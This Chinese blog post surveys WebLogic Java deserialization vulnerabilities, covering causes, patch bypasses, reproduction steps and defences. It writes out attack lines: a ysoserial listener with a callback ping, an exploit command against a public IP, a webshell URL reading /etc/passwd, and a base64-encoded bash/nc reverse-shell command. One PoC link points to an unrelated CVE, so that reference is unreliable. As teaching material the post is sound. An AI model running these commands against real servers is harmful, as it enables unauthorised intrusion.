首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
MCP广场
社区首页 >专栏 >Weblogic反序列化历史漏洞全汇总

Weblogic反序列化历史漏洞全汇总

作者头像
Jayway
发布于 2019-09-29 09:24:50
发布于 2019-09-29 09:24:50
8.6K0
举报
文章被收录于专栏:卓文见识卓文见识

随着Java语言的流行,相关的服务器和代码级漏洞无论在CTF比赛还是实际的现实攻击场景中占据着越来越重要的地位,所以很有必要对java反序列化类型漏洞做一个整体总结。文章逻辑图如下:


1、反序列化概述

1.1 概念

序列化是让Java对象脱离Java运行环境的一种手段,可以有效的实现多平台之间的通信、对象持久化存储。

Java 序列化是指把 Java 对象转换为字节序列的过程,便于保存在内存、文件、数据库中。反序列化是指把字节序列恢复为 Java 对象的过程。

ObjectOutputStream类的 writeObject() 方法可以实现序列化。

ObjectInputStream 类的 readObject() 方法用于反序列化。

1.2 示例:

自写代码实现序列化和反序列化的过程:

上述代码功能是将String对象obj1序列化后写入object文件,后反序列化得到对象obj2。

1.3 特征:

可通过SerializationDumper这个工具来查看其存储格式,特征为其Magic头为0xaced,可查看上述Object文件中的内容:

ac ed 00 05是java序列化内容的特征,漏洞挖掘人员通常对 weblogic 在 7001 端口的 T3 协议进行抓包,发现流量中有 java 反序列化之后数据的 Magic ac ed 00 05,然后替换掉对应的部分。其编码后是rO0ABQ==

1.4 使用场景:

1、http参数,cookie,sesion,存储方式可能是base64(rO0),压缩后的base64(H4sl),MII等 2、ServletsHTTP,Sockets,Session管理器包含的协议就包括JMX,RMI,JMS,JNDI等(\xac\xed) 3、xmlXstream,XMLDecoder等(HTTP Body:Content-Type:application/xml) 4、json(Jackson,fastjson) http请求中包含

2、漏洞成因

2.1 概述

序列化和反序列化本身并不存在问题。但当输入的反序列化的数据可被用户控制,那么攻击者即可通过构造恶意输入,让反序列化产生非预期的对象,在此过程中执行构造的任意代码。

2.2 示例:

自写代码模拟反序列化漏洞的成因:

可见test.class中MyObject类有一个共有属性name,myObj实例化后将myObj.name赋值为了“hi”,然后序列话写入object:

漏洞发生在反序列化过程,MyObject类实现了Serializable接口,并重写了readObject()函数(从源输入流中读取字节序列,反序列化成对象),这里定制的行为是打开计算器:

2.3 攻击时序图:

从廖新喜师傅的攻击图整体上了解攻击:

3、漏洞研究环境

3.1 环境搭建

1、官网安装

注册账号,下载地址

http://www.oracle.com/technetwork/middleware/weblogic/downloads/index.html

2、Docker 安装

直接用Vulhub的镜像

https://github.com/vulhub/vulhub/tree/master/weblogic/CVE-2017-10271 安装完毕版本是 10.3.6.0,配置运行信息在地址内有详细说明。

3.2 Ysoserial

1. 介绍

Ysoserial是国外一款安全工具,集合了各种java反序列化payload,下载地址:

https://github.com/frohoff/ysoserial/

工具界面如下:

可见其有CommonsCollections、Groovy1、Jdk7u21、Spring等常见payload。通过对该攻击代码的分析,可以学习巧妙的构造方法和共同的利用特性:具体的payload分析见:

http://www.vuln.cn/6295

2. 使用方法

1、在公网上选择一个端口进行流量监听:

java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 'ping -c 2 rce.267hqw.ceye.io'

2、客户端发送payload

python exploit.py 118.89.53.139 7001 ysoserial-0.0.6-SNAPSHOT-BETA-all.jar 118.89.53.139 1099 JRMPClient

解释:JRMPListener 是 ysoserial 工具里的其中一个利用模块,作用是通过反序列化,开启当前主机的一个 JRMP Server ,具体的利用过程是,将反序列化数据发送到 Server 中,然后Server 中进行反序列化操作,并开启指定端口,然后在通过 JRMPClient 去发送攻击 payload。

0x03 前提知识

1.反射机制

JAVA反射机制是在运行状态中,对于任意一个类,都能够知道这个类的所有属性和方法;对于任意一个对象,都能够调用它的任意一个方法和属性;这种动态获取的信息以及动态调用对象的方法的功能称为java语言的反射机制。

2.RMI和JRMP协议

RMI是Remote Method Invocation的简称,是J2SE的一部分,能够让程序员开发出基于Java的分布式应用。一个RMI对象是一个远程Java对象,可以从另一个Java虚拟机上(甚至跨过网络)调用它的方法,可以像调用本地Java对象的方法一样调用远程对象的方法,使分布在不同的JVM中的对象的外表和行为都像本地对象一样,RMI传输过程都使用序列化和反序列化。RMI目前使用Java远程消息交换协议JRMP(Java Remote Messaging Protocol)进行通信。JRMP协议是专为Java的远程对象制定的协议。

3.T3协议

WebLogic Server 中的 RMI 通信使用 T3 协议在WebLogic Server和其他 Java程序(包括客户端及其他 WebLogic Server 实例)间传输数据(序列化的类)。由于WebLogic的T3协议和Web协议共用同一个端口,因此只要能访问WebLogic就可利用T3协议实现payload和目标服务器的通信。

4、Weblogic反序列化漏洞汇总

Weblogic反序列化高危漏洞主要涉及到两个种类:

1、利用xml decoded反序列化进行远程代码执行的漏洞,例如:

CVE-2017-10271,CVE-2017-3506。

2、利用java反序列化进行远程代码执行的漏洞,例如:

CVE-2015-4852、CVE-2016-0638、CVE-2016-3510、CVE-2017-3248、CVE-2018-2628、

CVE-2018-2894、

4.1 xml decoded反序列化RCE

0x01 CVE-2017-3506

概述:

漏洞在WLS-WebServices这个组件中,基于WLS wsat模块,核心就是XMLDecoder的反序列化漏洞,Java 调用XMLDecoder解析XML文件的时候,存在命令执行漏洞。也是之前一段时间市面上挖矿主力军。

案例:

xmldecoder.xml:

利用Java的XMLDecoder解析这个xml文件:

这段代码执行后,直接删除了本地的e:\1.txt文件,相当于在命令行调用了cmd /c del e:\1.txt命令。Jdk中的XmlDecoder反序列化能调用本地的应用,也能执行系统支持的命令。

漏洞分析:

漏洞出现在wls-wsat.war中,此组件使用了weblogic自带的webservices处理程序来处理SOAP请求,在weblogic.wsee.jaxws.workcontext.WorkContextServerTube

类中获取XML数据传递给XMLDecoder来解析。

实例化了WorkContextXmlInputAdapter类,并且将获取到的XML格式的序列化数据传递到此类的构造方法中,最后通过XMLDecoder来进行反序列化操作。

漏洞复现:

A、抓包改包:

B、工具测试:

java -jar WebLogic_Wls-Wsat_RCE_Exp.jar http://192.168.43.100:7001 test.jsp

访问地址:

http://192.168.43.100:7001/bea_wls_internal/test.jsp?password=secfree&command=cat%20/etc/passwd

修复建议:

1、建议不要用JDK中的XmlDeocder类,寻求其它更安全的xml解析工具类,考虑是否删除WLS-WebServices组件

2、官方修复:补丁限定了object,new,method,void,array等字段,限定了不能生成java 实例

0x02 CVE-2017-10271

CVE-2017-10271 是3506的绕过。下图是CVE-2017-3506修复补丁的部分代码:

图中红框内的代码是限制CVE-2017-3506漏洞利用的黑名单,这次补丁修补得非常的简陋,仅仅是根据POC中的object标签进行了修补,所以很快就出现了CVE-2017-10271漏洞。

CVE-2017-10271的POC与CVE-2017-3506的POC很相似,只是将object标签换成了array或void等标签,即可触发远程代码执行漏洞。

因此,在CVE-2017-10271漏洞爆发之后,Oracle官方也进行了补丁的完善,这一次的补丁考虑得比较全面,在黑名单中又添加了new、method、void、array等关键字进行漏洞修补,成功防御了CVE-2017-10271漏洞。

4.2 java反序列化RCE

0x01 CVE-2015-4852

概述:

借用Java反序列化和Apache Commons Collections这一基础类库实现远程命令执行。这个漏洞横扫WebLogic、WebSphere、JBoss、Jenkins、OpenNMS的最新版。

漏洞出现在WLS Security组件,允许远程攻击者执行任意命令。攻击者通过向TCP端口7001发送T3协议流量,其中包含精心构造的序列化Java对象利用此漏洞。

漏洞分析:

Apache Commons Collections是一个扩展了Java标准库里的Collection结构的第三方基础库,实现了一个TransformedMap类,该类是对Java标准数据结构Map接口的一个扩展。该类可以在一个元素被加入到集合内时,自动对该元素进行特定的修饰变换,具体的变换逻辑由Transformer类定义,Transformer在TransformedMap实例化时作为参数传入。

如果某个可序列化的类重写了ReadObject()方法,并且在readObject()中对Map类型的变量进行了键值修改操作,并且这个Map变量是可控的,就可以实现我们的攻击目标了。

于是找到了这个类:AnnotationInvocationHandler。该类的代码如下

我们可以实例化一个AnnotationInvocationHandler类,将其成员变量memberValues赋值为精心构造的恶意TransformedMap对象。然后将其序列化,提交给未做安全检测的Java应用。Java应用在进行反序列化操作时,则会触发TransformedMap的变换函数,执行预设的命令。

漏洞验证

分析:

https://security.tencent.com/index.php/blog/msg/97

Poc:

https://github.com/fjserna/CVE-2015-7547

修复方案

黑名单方式过滤了危险的反序列化类(之后的漏洞都是对黑名单的过滤和绕过):

0x02 CVE-2016-0638

此漏洞是基于CVE-2015-4852漏洞进行黑名单的绕过。

如果能找到可以在其readObject中创建自己的InputStream的对象,并且不是使用黑名单中的ServerChannelInputStream和MsgAbbrevInputStream的readExternal进行的反序列化,最后调用readObject()方法进行反序列化的数据的读取,这样就可以执行含有恶意代码的序列化代码。

CVE-2016-0638漏洞就是依据这个思路找到了weblogic.jms.common.StreamMessageImpl类,其中的readExternal()方法也符合攻击的需求。攻击者可以在其中构造一个恶意的ObjectInputStream来实现payload内部的InputStream创建,调用readObject()方法实现攻击。

0x03 CVE-2016-3510

此漏洞是与CVE-2016-0638漏洞利用方式相似,只是选择了

weblogic.corba.utils.MarshalledObject进行绕过,绕过之前的CVE-2015-4852和CVE-2016-0638漏洞的修复补丁。

POC中插入的想要执行的命令的形式很特殊,必须要插入类似于bash -c {echo,bmMgLW52IDE5Mi4xNjguMTYuMSA0MDQw}|{base64,-d}|{bash,-i}这种形式的命令才可以达到攻击效果,这是因为使用了java.lang.Runtime.exec(String)语句而导致的一些限制。首先是不支持shell操作符,如输出重定向以及管道。其次是传递给payload命令的参数中不能包含空格。

0x04 CVE-2017-3248

CVE-2017-3248漏洞利用方法与之前三个漏洞不同,这次主要是利用了JRMP Java远程方法协议。利用java.rmi.registry.Registry,序列化RemoteObjectInvocationHandler,并使用UnicastRef和远端建立tcp连接,获取RMI registry,最终将加载的内容利用readObject()进行解析,导致之前序列化的恶意代码执行。下图是ysoserial中相应的payload:

0x05 CVE-2018-2628

CVE-2018-2628漏洞与CVE-2017-3248漏洞利用方法类似,仅仅更换了使用的RMI接口,用java.rmi.activation.Activator替换了CVE-2017-3248所使用的java.rmi.registry.Registry,从而绕过resolveProxyClass的判断,成功绕过了CVE-2017-3248漏洞的修复补丁。其他攻击流程相同。

0x06 CVE-2018-2893

CVE-2018-2893漏洞,同样是对resolveProxyClass函数进行绕过,导致攻击者可以利用UnicastRef和远端建立tcp连接,获取RMI registry,再将加载的内容利用readObject解析,从而造成反序列化远程代码执行。

CVE-2018-2893漏洞绕过方式是利用StreamMessageImpl对ysoserial工具中的JRMPClient生成的payloadObject进行封装,由于StreamMessageImpl在进行反序列化时并不会被resolveProxyClass检测,导致绕过的产生,最后成功的进行了反序列化攻击。

0x07 CNVD-C-2019-48814

概述:

WebLogic中默认包含的wls9_async_response包,为WebLogic Server提供异步通讯服务。由于该WAR包在反序列化处理输入信息时存在缺陷,攻击者可以发送精心构造的恶意 HTTP 请求,获得目标服务器的权限,在未授权的情况下远程执行命令。

影响版本:WebLogic 10.X

WebLogic 12.1.3

漏洞分析:

搭建环境,访问http://ip:7001/_async/AsyncResponseService

如果出现以下页面,则存在漏洞:

修改请求包如下,并进行流量监听即可反弹shell。

修复建议:

在官方补丁发布之前,临时解决方案如下:

1、删除该wls9_async_response.war包并重启webLogic:

该war包具体路径如下:

WebLogic 10.3.*:

Middleware/wlserver_10.3/server/lib/bea_wls9_async_response.war

WebLogic 12.1.3:

Middleware/Oracle_Home/oracle_common/modules/com.oracle.webservices.wls.bea-wls9-async-response_12.1.3.war

2、 通过访问策略控制禁止 /_async/* 路径的URL访问。

4、漏洞挖掘

手动挖掘反序列化漏洞:

5、防御手段

5.1 weblogic防御

• 过滤T3协议,限定可连接的IP • 设置Nginx反向代理,实现t3协议和http协议隔离 • JEP290(JDK8u121,7u131,6u141),这个机制主要是在每层反序列化过程中都加了一层黑名单处理

5.2 原生反序列化防御

• 不要反序列化不可信的数据 • 给反序列数据加密签名,并确保解密在反序列之前 • 给反序列化接口添加认证授权 • 反序列化服务只允许监听在本地或者开启相应防火墙 • 升级第三方库 • 升级JDK,JEP290

不尽完善,后续文档和利用工具需要请自取:

https://github.com/Jayway007/Weblogic-Deserialization

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2019-04-30,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 卓文见识 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
暂无评论
推荐阅读
编辑精选文章
换一批
去中心化数字身份DID简介——五、DID的应用
在上一篇文章中,我们给出了一种零知识证明的方法,解决用户身份属性的隐私问题,下面我们再来谈谈基于DID技术,我们都能在什么场景去应用。
深蓝studyzy
2022/06/16
2.3K0
去中心化数字身份DID简介——一、基本概念
本人最近正在研究数字身份DID技术,该技术在区块链领域目前还比较冷门,并没有什么实际的应用案例,但是数字身份的应用场景广阔,是一个必然会火起来的技术。于是打算写几篇文章,好好讲一下其中涉及到的概念,技术实现和应用场景。先从基本概念讲起:
深蓝studyzy
2022/06/16
5.7K0
去中心化数字身份DID简介——一、基本概念
DPKI的崛起之路——分布式数字身份(DID)
互联网的出现和普及使得传统身份有了另一种表现形式,即数字身份,除自然人以外,机构组织、智能设备、虚拟网络都可以作为实体并拥有数字身份,这些实体作为数字化社会的重要组成部分,共同构建了数字生态,数字社会身份体系如下图所示。
绿盟科技研究通讯
2022/06/06
2.7K0
DPKI的崛起之路——分布式数字身份(DID)
什么是去中心化身份(DID),为什么你应该关心它?
使用电子商务进行网上购物,使用社交网络交流,使用电子邮件进行工作沟通--这样的例子不胜枚举。
Tiny熊
2022/11/07
1.5K0
什么是去中心化身份(DID),为什么你应该关心它?
本体技术视点 | 当微软的去中心化身份梦想照进现实(上)
此前,我们多次分享了本体在去中心化数字身份方面的实践,包括区块链技术如何保护数字身份和辨识“Deepfake”、再谈Deepfake,去中心化数字身份如何“见招拆招”?等。今天,本体研究院翻译了一篇来自关于全球科技巨头微软(Microsoft)的去中心化身份相关的文章,与大家一起深入洞察行业动态。
本体Ontology
2021/03/26
4300
本体技术视点 | 当微软的去中心化身份梦想照进现实(上)
加密货币仍在争论它应该在多大程度上关注隐私
一群被称为密码朋克的密码学专家和自由主义者在开发加密货币和区块链技术方面发挥了关键作用。他们成立于 1980 年代末和 1990 年代初,其共同愿景是使用密码学来保护隐私、抵制审查制度并促进数字时代的个人自由。
小将
2023/02/18
3410
加密货币仍在争论它应该在多大程度上关注隐私
本体技术视点 | 去中心化身份即元平台:合作的力量(一)
原文:《Decentralized Identity as a Meta-platform: How Cooperation Beats Aggregation》
本体Ontology
2020/03/19
5930
本体技术视点 | 去中心化身份即元平台:合作的力量(一)
本体技术视点 | 当微软的去中心化身份梦想照进现实(下)
上一期,我们分享了全球科技巨头微软(Microsoft)在去中心化身份领域的实践,初步介绍了其“Azure Active Directory 可验证凭证”技术,在英国 NHS(National Health Service,国家卫生服务局) 试点中,一名医生从进入医院开始注册到救死扶伤仅需要5分钟的时间。
本体Ontology
2021/03/26
5370
本体技术视点 | 当微软的去中心化身份梦想照进现实(下)
Play-to-Earn!关于去中心化身份与GameFi的思考
在过去的几年里,游戏行业经历了令人难以置信的增长,2020年比前一年扩张了23%,与此同时,游戏行业与区块链的集成见证了“Play-to-Earn”的大热。
本体Ontology
2022/04/28
3080
Play-to-Earn!关于去中心化身份与GameFi的思考
区块链数字 ID 系统的主要功能
区块链数字 ID 系统旨在通过去中心化、加密安全和用户自主控制,彻底改变传统身份管理模式。它将用户的身份数据所有权归还给用户,而非由中心化机构掌控。
数字孪生开发者
2025/06/23
1400
区块链实现数字 ID 的技术方案
区块链技术为数字身份(Digital ID)提供了革命性的解决方案,主要通过去中心化、防篡改和用户自主控制的特性,解决了传统中心化身份系统面临的数据泄露、隐私侵犯和效率低下等问题。
数字孪生开发者
2025/06/23
1960
区块链实现数字 ID 的技术方案
本体技术视点 | 自主主权身份的一些思考(下)
https://coinmarketcap.com/alexandria/article/a-guide-to-self-sovereign-identity-a-deep-dive-by-ontology
本体Ontology
2021/05/07
3900
本体技术视点 | 当去中心化身份遇上智能汽车(下)
视频中演示了 Daphne 驾驶应用本体解决方案的汽车,使用面部识别功能启程,使用数字资产支付,用大数据分析突发路况,通过本体信用分判断是否共享,发起路权申请避开拥堵,在应用内完成云端理赔,实现车辆生命周期的系统管理。
本体Ontology
2020/09/08
3670
Web3 的身份问题:去中心化身份的需求
身份应该是 Web3 中的一个主要问题,因为它涉及拥有它的个人以及他们与空间中其他利益相关者的互动。此外,对于像 DeFi 这样的空间,大规模采用取决于创建无缝的身份验证过程。本文探讨了去中心化身份 (DID)、围绕这一现象的好处和问题,以及建立在愿景之上的品牌。
飞机号dapp119
2022/11/18
5450
Web3 的身份问题:去中心化身份的需求
基于区块链的数字身份认证:重塑身份安全的新范式
随着互联网的普及与数字化进程的加快,数字身份认证已成为现代社会不可或缺的一部分。从登录社交媒体账户到在线银行交易,身份认证贯穿我们的日常生活。然而,传统的身份认证系统面临数据泄露、身份冒用等安全问题,越来越难以满足现代社会对隐私与安全的高要求。基于区块链的数字身份认证应运而生,为身份认证提供了一种去中心化、安全性强且透明的解决方案。
Echo_Wish
2025/01/19
8770
基于区块链的数字身份认证:重塑身份安全的新范式
《金融分布式数字身份技术研究报告》发布
在万物互联的时代背景下,金融科技发展正在加速重构金融业务新版图。网络数字化时代,数字身份作为网络安全的基石,既是物理世界主体在网络世界的映射,也是各主体在网络世界活动的基础。为此,北京金融科技产业联盟依托区块链专业委员会,联合金融机构、区块链领域权威科技公司及高等院校等共同开展分布式数字身份技术在金融领域的应用研究工作,形成《报告》。
bengbengsu
2022/04/26
1K0
《金融分布式数字身份技术研究报告》发布
本体行业观点 | 去中心化身份DID如何推进加密技术发展?
注:本文发表于知名区块链新闻媒体平台 The Defiant ,作者 Humpty Calderon 为 Ontology 社区主管。
本体Ontology
2021/10/26
6450
本体技术视点 | 去中心化身份框架ONT ID刷新汽车驾驶体验
近期,本体技术视点带来了区块链领域的“芝麻信用”——OScore 的细致解读,也介绍了本体的 ONT ID 和信任锚平台 ONT TAG 如何助力币安智能链上的 STO 项目。本期技术视点将围绕本体的去中心化身份框架 ONT ID 展开。
本体Ontology
2020/09/25
7350
本体技术视点 | 去中心化身份框架ONT ID刷新汽车驾驶体验
【区块链应用】-“通往web3的护照”-“DID”
波卡的联合创始人Robert Habermeier投资波卡生态去中心化身份聚器Litentry项目的消息开始在坊间传开,大家开始注意到这个“冷门领域”——去中心化身份(DID)。
帆说区块链
2022/08/30
6330
【区块链应用】-“通往web3的护照”-“DID”
Web3.0 中的去中心化身份
在我们的日常生活中,我们经常与不同的身份进行交互,例如电子邮件地址、社交媒体帐户、护照等。这些数据通常存储在集中式服务器中并由第三方公司控制,因此身份所有者无法控制这些信息。更糟糕的是,如果组织禁止所有者访问其服务或组织不复存在,则存储的数据将被淘汰。
飞机号dapp119
2022/11/10
6310
Web3.0 中的去中心化身份
推荐阅读
相关推荐
去中心化数字身份DID简介——五、DID的应用
更多 >
LV.0
这个人很懒,什么都没有留下~
交个朋友
加入腾讯云官网粉丝站
蹲全网底价单品 享第一手活动信息
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档